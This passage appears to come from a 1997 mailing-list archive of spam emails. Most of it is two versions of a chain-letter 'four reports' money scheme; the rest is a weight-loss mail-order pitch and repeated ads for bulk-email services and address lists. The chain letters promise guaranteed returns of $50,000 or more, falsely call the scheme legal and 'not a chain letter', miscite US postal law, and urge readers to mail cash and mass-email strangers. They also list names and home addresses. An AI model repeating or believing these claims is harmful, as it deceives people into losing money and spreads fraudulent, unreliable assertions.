participants.  This is a very nominal investment for such a wonderful return.  

All those people you know who brag about all their investments, their portfolios, etc.,
would just die if they knew what you now know - that you can turn $40 into $67,500 or
more in the NEXT FEW MONTHS!

LEGALITY

After careful study and legal consultations, there are 2 important points you should now
and follow which keep this program perfectly legal and in compliance with US Postal and
Lottery Laws.  First, a product is being ordered by you and sold by the receiver of your
order.  Second, you need to request that your name be placed on the mailing list from
whom you order so a service is also being performed.  Title 18 Sections 1302 and 1341 of
the US Postal and Lottery Laws specifically states " A product or service must be
exchanged for money received."

Also remember when you receive your orders you MUST fill them promptly, preferably
the same day, with the Report being sold to comply with the law, and also to aid the new
participants in future order procurement not just for themselves but also for you.

GUARANTEE FOR SUCCESS

The check points which GUARANTEE your SUCCESS and the optimal financial return
for all participant members are simply these:

	1.  You must receive at least 15 orders for Report # 1
	2.  You must receive at least 105 orders for Report #2

This is easy, but it's an absolute must !!!   No matter how many program invitations you
chose to redistribute, if you don't receive the necessary 15 or more orders for Report # 1,
keep sending more invitations until you receive the necessary 15 orders.  The more you
get, the more money you will make.  This also applies for the 105 orders for Report # 2.

Once you have received the necessary 105 or more orders for Report # 2, simply sit back,
take a deep breath and relax because you are going to receive orders in excess of $67,500. 
This is a MATHEMATICALLY PROVEN  guarantee.  Of those who have participated in
this program and reached the above minimum orders, all have reached or exceeded their
goal.  Just imagine what would happen if there was no failure factor, or if it were just
lower than the calculated 50% !

The question is, do you really want to have $67,500 in your bank in the next few months? 
I am sure you do, so are you willing to give the program a TRY?  You will never know if
it works if you don't TRY.......

Remember, if you want your ship to come in, you have to launch it first.  The hardest part
of this program is deciding to do it.  Once you have taken that step then you need to
decide how to get the 5,000 or more names with whom you want to share this program. 
There are many companies that will provide mailing lists with e-mail addresses.  You have
gotten lots of advertisements over e-mail offering bulk mail services....NOW MAKE
THEM WORK FOR YOU !!

***  WHAT TO DO  ***

"OK, I am of THREE IN A THOUSAND - I've decided this venture is worth $40.00. 
What do I do now?

STEP # 1  -  Purchase each of the four Reports by NAME and NUMBER, and request to
be put on the mailing list (both street and e-mail addresses and important) to each seller. 
Do this by ordering one of the four Reports from each of the four names listed here after. 
For each Report send $10 CASH and a SELF-ADDRESSED, STAMPED ENVELOPE
(Business size #10) to the person listed for the SPECIFIC REPORT.

It is essential that you specify each Report ordered by name and number for each person
to insure that you will receive all four Reports properly.  You will need all 4 Reports
because you will be REPRODUCING AND RESELLING them.  Do not alter the names
or the sequence of the name list in any way other than by what the instructions say.  It is
important for you to receive same day service on your orders, and you must also must also
provide it to others when you receive orders.

STEP # 2  -  Put your name on the list prior to your distribution of the Program
Invitations.  In doing so it is imperative for everyone's success in this Program that you
follow these instructions exactly.  First, delete the person's name from Report # 4 position
as they will be on their way to the bank.  Second, move the name in the Report # 3
position into the open # 4 position.  Third, move the name from Report # 2 spot into the #
3 position.

Fourth, move the name from the Report # 1 position to the # 2 place.  Finally, place your
name and address into the Report # 1 position.  When doing this, make certain to type the
names and addresses accurately, and to not mix up the order of the names with each
Report other than as how you have just been instructed.





REPORT AND NAME LIST

REPORT # 1 - "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
Order from:  Rick Kowalski  617 Gateway Road, WPG., MB., Canada, R2K-2X8

REPORT # 2 - "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
Order from:  Sarah Glade 168 Harbison Ave. West, Winnipeg MB, Canada, R2L-0A4

REPORT # 3 - "INCREASING THE ODDS WITH MAILING LISTS"
Order from:   Department 2, LBK Marketing & Graphics, PO Box 351509, Jacksonville,
FL 32235-1509


REPORT # 4 - "EVALUATING MULTI-LEVEL SALES PLANS"
Order from :  USI, 3400-L MacArthur Blvd., Santa Ana, CA  92704

REMEMBER!  Order each report by name and number, and to include with the $10 cash
a self-addressed, stamped envelope.

DISTRIBUTION

Having made the changes in the name list, save the new Program as a text file, using
"Notepad" in Windows in its own directory to be used with whatever mass mail program
you like.  Report # 3 will give you some of the best methods for distributing this Program. 
Be creative!  Who knows what your personal twist will produce!

FULFILLMENT

It is essential that the Reports you reproduce look like the originals - not copies of copies
of copies.  The more professional you keep your business the more so will those behind
you.  Always provide same day service.  It's sound business and the sooner your buyers
get started, the sooner you start counting your money.

IN A NUTSHELL

1.  Name your new MLM Company.  You can use you own name if you desire.

2.  Get a Post Office box if you can, as it is a preferred way of doing MLM.

3.  Edit the names on the Program.  Remember, your name goes into the Report # 1
     position.  The others move down one position with the fourth name being deleted.

4.  Copy and save this program as it has become yours to reproduce for distribution via
     any and all methods you choose.  Make certain it remains neat and legible.

5.  Decide on the number of Programs you intend to distribute.  The more invitations you
     send out, and the quicker you get them into the hands of other interested people, the
     more money you will make.

6.  Decide on your methods of distribution and obtain as many e-mail addresses as
     possible to send to until you receive the information regarding mailing list companies
     in Report # 3.

7.  Distribute the Program Invitations, and get ready to fill your orders.

8.  Reproduce or copy each of the four Reports so you are ready to send them out as soon
     as you receive your orders.  Remember, when you do, to keep them looking like
     originals and to always provide same day service.

9.  Follow the program instructions exactly, but be as creative and aggressive as you can.


THANK YOU for taking the time to read this.  Now print it out, RE-READ IT and
envision that new car, that vacation, that new house, or that quality education for your
kids!

Is it too good to be true?  No, but it is too good to let slip through your fingers.  Are you
one of THREE IN A THOUSAND?  Are you going to prove to yourself whether or not
you can make alot of money in a short period of time by working smart?  Are you willing
to TRY?  

It is your decision.  GOOD LUCK !

*** Important Message - Sent Using The Zenith Bulk Emailer ***
*** For Your FREE Copy Of This Program - http://209.27.224.16 ***






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz4uin97@compuserve.com (A Business Opportunity for you...)
Date: Wed, 3 Sep 1997 07:13:59 -0700 (PDT)
To: biz4uin97@compuserve.com
Subject: $50,000 IN 30 days, guaranteed!
Message-ID: <19970903154LAA39382@drizzle.com>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE, Read This Twice!!

Dear friend,

================================================
================================================
This is a "ONE-TIME MESSAGE"  you were randomly selected to
receive this.  There is no need to reply to remove, you will receive
no further mailings from us.  If you have interest in this GREAT
INFORMATION,  please do not click reply,  use the contact 
information in this message.  Thank You! :-)
================================================
================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY LITTLE investment
and the income return is TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
OPPORTUNITY.   It does not require you to come into contact with
people, do any hard work, and best of all, you never have to leave 
the house except to get the mail.  If you believe that someday you'll 
get that big break that you've been waiting for, THIS IS IT!  Simply
follow the instructions, and your dream will come true.  This
multi-level e-mail order marketing program works perfectly...100%
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage
of this non-commercialized method of advertising NOW!!!  The longer
you wait, the more people will be doing business using e-mail.  Get
your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being taught in the Harvard Business School, 
and both Stanford Research and the Wall Street Journal have stated
that between 50% and 65% of all goods and services will be sold
through multi-level methods by the mid to late 1990's.  This is a 
Multi-Billion Dollar industry and of the 500,000 millionaires in the 
U.S., 20% (100,000)  made their fortune in the last several years in
MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing. 

The enclosed information is something I almost let slip through my 
fingers.  Fortunately, sometime later I re-read everything and gave 
some thought and study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incured many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!

A good program to help do this is Ready Aim Fire, an e-mail 
extracting and mass mail program.  
At  http://microsyssolutions.com/raf

In less than one week, I was starting to receive orders for REPORT 
#1.  By January 13, I had received 26 orders for REPORT #1.  When
you read the GUARANTEE in the program, you will see that "YOU
MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN 2
WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL
YOU DO!"  My first step in making $50,000 in 20-90 days was done.
By January 30, I had received 196 orders for REPORT #2.  If you go
back to the GUARANTEE, "YOU MUST RECEIVE 100+ ORDERS
FOR REPORT #2 WITHIN 2 WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS,
THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000
GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back and relaxed.  By March 19, of my e-mailing of
10,000, I received $58,000 with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please 
take time to read the attatched program, IT WILL CHANGE YOUR
LIFE FOREVER!!!  Remember, it won't work if you don't try it.  This
program does work, but you must follow it EXACTLY!  Especially
the rules of not trying to place your name in a different place.  It 
won't work, you'll lose out on a lot of money!  REPORT #2 
explains this. Always follow the guarantee, 15-20 orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make 
$50,000 or more in 20-90 days.  I AM LIVING PROOF THAT IT 
WORKS!!!

If you choose not to participate in this program, I am sorry.  It 
really is a great opportunity with little cost or risk to you.  If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

If you are a fellow business owner and are if financial trouble like 
I was, or you want to start your own business, consider this a sign. 
I DID!
                                               Sincerely,             

                                               Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!



A PERSONAL NOTE FROM THE ORGINATOR OF THIS
PROGRAM:
By the time you have read the enclosed program and reports, you
should have concluded that such a program, and one that is legal, 
could not have been created by an amateur.  

Let me tell you a little about myself.  I had a profitable business 
for 10 years.  Then in 1979 my business began falling off.  I was 
doing the same things that were previously successfull for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy.  Inflation and recession had replaced the stable economy
that had been with us since 1945.  I don't have to tell you what 
happend to the unemployment rate... because many of you know from 
first hand experience.  There were more failures and bankruptcies 
than ever before. 

The middle class was vanishing.  Those who knew what they were
doing invested wisely and moved up.  Those who did not, 
including those who never had anything to save or invest, were 
moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move
up" or "get rich", inflation will see to that.

You have just received information that can give you financial 
freedom for the rest of your life, with "NO RISK" and "JUST A
LITTLE BIT OF EFFORT."  You can make more money in the next
few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, 
nor anyone else who has provided a testimonial for this program.  I 
have already made over 4 MILLION DOLLARS!  I have retired from
the program after sending out over 16,000 programs.  Now I have 
several offices that make this and several other programs here and 
over seas.  By the spring we wish to market the "internet" by a 
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.  It works exceedingly well as it is now.  Remember to 
e-mail a copy of this exciting report to everyone you can think of.  
One of the people you send this to may send out 50,000...and your 
name will be on everyone of them!  Remember though, the more you
send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU 
NOW!



"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a little time to read it and REALLY THINK ABOUT IT.  Get a 
pencil and figure out what could happen when YOU participate. 
Figure out the worst possible response and no matter how you 
calculate it, you will still make a lot of money!  You will 
definitely get back what you invested.  Any doubts you have will 
vanish when your first orders come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC



HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU $$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll assume you and all those involved send out only 2,000 
programs each.  Let's also assume that the mailing receives a 0.5% 
response.  Using a good list the response could be much better.
Also many people will send out hundreds of thousands of programs 
instead of 2,000.  But continuing with this example, you send out 
only 2,000 programs.  With a 0.5% response, that is only 10 orders 
for REPORT #1.  Those 10 people respond by sending out 2,000 
programs each for a total of 20,000.  Out of those 0.5%, 100 people 
respond and order REPORT #2.  Those 100 mail out 2,000 programs 
each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a 2,000,000 total.  The 0.5% response to that is 10,000 orders 
for REPORT #4.  That's 10,000 $5 bills for you.  CASH!!! Your
total income in this example is $50 + $500 + $5,000 + $50,000 for
a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY 
NOTHING AND TRASH THIS PROGRAM!  DARE TO THINK 
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.
Believe me, many people will do just that, and more!  By the way, 
your cost to participate in this is practically nothing.  You 
obviously already have an internet connection and e-mail is FREE!!!
REPORT #3 will show you the best methods for bulk e-mailing and 
obtaining e-mail lists. 



INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of 
raising capital that REALLY WORKS 100% EVERYTIME.  I am 
sure that you could use $50,000 to $125,000 in the next 20-90 days. 
Before you say "BULL... ", please read this program carefully.  

This is not a chain letter, but a perfectly legal money making 
opportunity.  Basically, this is what you do:  As with all 
multi-level business, we build our business by recruiting new 
partners and selling our products.  Every state in the USA allows
you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved 
in personal selling.  You do it privately in your own home, store 
or office.  This is the GREATEST Multi-Level Mail Order 
Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND
NUMBER.  Do this by ordering the REPORT from each of the
four (4) names listed on the next page.  For each REPORT, send 
$5 CASH and a SELF-ADDRESSED STAMPED envelope 
(BUSINESS SIZE #10) to the person listed for the SPECIFIC 
REPORT.  International orders should also include $1 extra for 
postage.  It is essential that you specify the NAME and NUMBER 
of the REPORT requested to the person you are ordering it from.  
You will need ALL FOUR (4) REPORTS because you will be 
REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
your's, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!



REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.
____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM: 

Liberty Publishing Inc.
2107 W. Commonwealth Ave.  Dept.264
Alhambra, CA 91803

____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

SOM Co.
2168 S. Atlantic Blvd. #101
Monterey Park, CA 91754
____________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Kal Inc.
P.O. Box 2433
Glenview, IL. 60025-2433
____________________________________________________


REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

HENDON ENTERPRISES
P.O. Box #188
Seguin, TX. 78156

____________________________________________________



CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get a 
prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain lettters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luck!




----------------------- Headers--------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: naoqize@worldnet.att.net (Someone Who Cares!)
Date: Wed, 3 Sep 1997 15:22:51 -0700 (PDT)
To: naoqize@worldnet.att.net
Subject: READ THIS, THIS IS NOT JUNK E-MAIL!!!
Message-ID: <199709031043VAA806@post.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Have you ever noticed that when you are bigger than usual, people look at you when you eat?  
It seems that what they want to tell you is "You wouldn't be this big if you didn't eat all 
this stuff!"

Hi, my name is Ed.  I am a real person who lives in Palm Springs, CA.  And until a year ago I 
was the fat guy that everybody was looking at. Believe me, I had no life!  I didn't go out, 
I couldn't shop at regular stores (well, for shoes may be), I was too embarassed to go to the 
pool when there were people around.  Hey, if you are one of the 80% percent of Americans who 
are overweight, you know how I felt!  But I wasn't simply overweight, I was fat!  My height 
is 5'9" and I weighed 290 lbs! 

Over 2-3 years I tried miriads of different diets.  Guess what, they did not work!  I would even 
try to starve myself, but I just didn't have the guts to do it for more than one day.
Then I turned for help to the doctor, this was the last resort!  To myself I was thinking "If 
the doctor doesn't help, nobody will.  I'll just eat till my heart stops!"  Well, guess what he 
did?  He prescribed Phen-Fen!  Have you listened to the news lately?!  Need I say more?

And then a miracle happened!  My uncle (who is a businessman and travels a lot) said he had one 
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was the only thing that did not require strenuous physical activities, chemicals or herbs, or any
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To make the story short, I lost 8 lbs in my first week, and have been loosing weight ever since (whopping 
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All together we lost 480 lbs!  That's twice me a year ago!  Later I found out, that this program 
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To get this complete miracle program, please send a single payment (check or money order) of $14.95 (including S&H) to:

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3940 Laurel Canyon Blvd., Suite #292
Studio City, CA  91604

Please enclose your e-mail address, or mailing address if you prefer to have it mailed to you.  
Allow 7-10 days for delivery, after which you will be on your way to a fabulous new you!  
CA residents please add 8.25% sales tax.


</FONT><FONT  COLOR="#000000" SIZE=3>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@mailcorporation.com
Date: Wed, 3 Sep 1997 18:44:48 -0700 (PDT)
To: user@mailcorporation.com
Subject: Re: 35,000,000 People...
Message-ID: <199709040126.SAA15956@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

* Sending out Bulk Email for FREE?
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You MUST Place the word "FREE" in the Subject Line so our
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To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@mailcorporation.com
Date: Wed, 3 Sep 1997 18:51:37 -0700 (PDT)
To: user@mailcorporation.com
Subject: Re: 35,000,000 People...
Message-ID: <199709040130.SAA17448@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

* Sending out Bulk Email for FREE?
* Receiving 35,000,000 Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account
  without EVER having to worry about it being canceled?
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  or Web Page to over 250,000 people per day?
* Posting a FREE Advertisement for your Business or Web Page to
  over 25,000 Newsgroups in under 3 Hours?

You may shudder at the thought of Bulk Email.. but the simple
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To find out how to do all of this and more for FREE, email our
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You MUST Place the word "FREE" in the Subject Line so our
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To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@mailcorporation.com
Date: Wed, 3 Sep 1997 18:57:46 -0700 (PDT)
To: user@mailcorporation.com
Subject: Re: 35,000,000 People...
Message-ID: <199709040134.SAB18988@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

* Sending out Bulk Email for FREE?
* Receiving 35,000,000 Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Advertisement for your Business or Web Page to
  over 25,000 Newsgroups in under 3 Hours?

You may shudder at the thought of Bulk Email.. but the simple
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reaching up to 250,000 people per day for FREE with an unlimited
length advertisement for your business or web page!

To find out how to do all of this and more for FREE, email our
autoresponder at: free@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@mailcorporation.com
Date: Wed, 3 Sep 1997 19:12:08 -0700 (PDT)
To: user@mailcorporation.com
Subject: Re: 35,000,000 People...
Message-ID: <199709040141.SAA21778@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

* Sending out Bulk Email for FREE?
* Receiving 35,000,000 Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account
  without EVER having to worry about it being canceled?
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  or Web Page to over 250,000 people per day?
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  over 25,000 Newsgroups in under 3 Hours?

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length advertisement for your business or web page!

To find out how to do all of this and more for FREE, email our
autoresponder at: free@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@mailcorporation.com
Date: Wed, 3 Sep 1997 19:18:48 -0700 (PDT)
To: user@mailcorporation.com
Subject: Re: 35,000,000 People...
Message-ID: <199709040150.SAA25542@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

* Sending out Bulk Email for FREE?
* Receiving 35,000,000 Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Advertisement for your Business or Web Page to
  over 25,000 Newsgroups in under 3 Hours?

You may shudder at the thought of Bulk Email.. but the simple
truth is.. BULK EMAIL WORKS!  By sending out Bulk Email, you are
reaching up to 250,000 people per day for FREE with an unlimited
length advertisement for your business or web page!

To find out how to do all of this and more for FREE, email our
autoresponder at: free@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@mailcorporation.com
Date: Wed, 3 Sep 1997 19:27:35 -0700 (PDT)
To: user@mailcorporation.com
Subject: Re: 35,000,000 People...
Message-ID: <199709040158.SAA28592@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

* Sending out Bulk Email for FREE?
* Receiving 35,000,000 Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Advertisement for your Business or Web Page to
  over 25,000 Newsgroups in under 3 Hours?

You may shudder at the thought of Bulk Email.. but the simple
truth is.. BULK EMAIL WORKS!  By sending out Bulk Email, you are
reaching up to 250,000 people per day for FREE with an unlimited
length advertisement for your business or web page!

To find out how to do all of this and more for FREE, email our
autoresponder at: free@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Selective.Marketing@mail.jax.bellsouth.net
Date: Thu, 4 Sep 1997 04:13:21 -0700 (PDT)
To: selmark@aol.com
Subject: Here It Is !!
Message-ID: < >
MIME-Version: 1.0
Content-Type: text/plain


Are you looking for an affordable way to advertise your products services or web sites? If so 
hold on to your shorts. As you know the best programs for sending direct e-mail advertisements
cost on the average of $400-$500.00. Then you will need that $200.00 e-mail address extraction
program to keep your leads coming. Well Selective Marketing has done it again. We are giving 
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These programs are top of the line in the industry. The email program is capable of sending over 250,000
emails per hour using only a 28.8 modem. The extraction program  will extract thousands of targeted email
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So what is the catch? We are marketing a CD Rom with 37 million e-mail addresses on it, filtered and
ready to load into your email program. When you purchase this CD Rom at our lowest price ever of 
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This offer is for a limited time. If you need a fantastic product to advertise we can help with that too.
We have a wonderful product that we have been advertising on the Internet that is returning about 
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If you would like more information on this once in a lifetime opportunity you must call us now. The number
is (904) 779-1721. The first 100 orders will receive an added  bonus. 

This is a once of a lifetime offer from the company that has been brining you the best in direct e-mail
advertising for over two years.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rewards@t-1net.com
Date: Thu, 4 Sep 1997 06:54:11 -0700 (PDT)
To: rewards@t-1net.com
Subject: KEEP YOUR EYES ON YOUR MAILBOX ....
Message-ID: <m0x6bZk-000pE2C@quick.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////


I have been a business owner for over 30 years, involved in various things, and  I have found different strategies for making money, working at home....

I thought you might like to know, this really works, if you will only try it...

For more information send e-mail to     max@answerme.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dbmkts@kryan.com (Bassmkt)
Date: Thu, 4 Sep 1997 09:02:29 -0700 (PDT)
To: dbmkts@kryan.com
Subject: STRATEGIES FOR MARKETING ONLINE
Message-ID: <199709041919SAA5039@post.iosys.net>
MIME-Version: 1.0
Content-Type: text/plain


Greetings,
I'm responding to your posting online and was wondering if you would like a free copy of my informative article " PROPER E-MAIL STRATEGIES FOR MARKETING ONLINE". 
Just e-mail me back and ask for a free copy.
Thank you,
Donald Bass





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cag1465@onestopshop.net
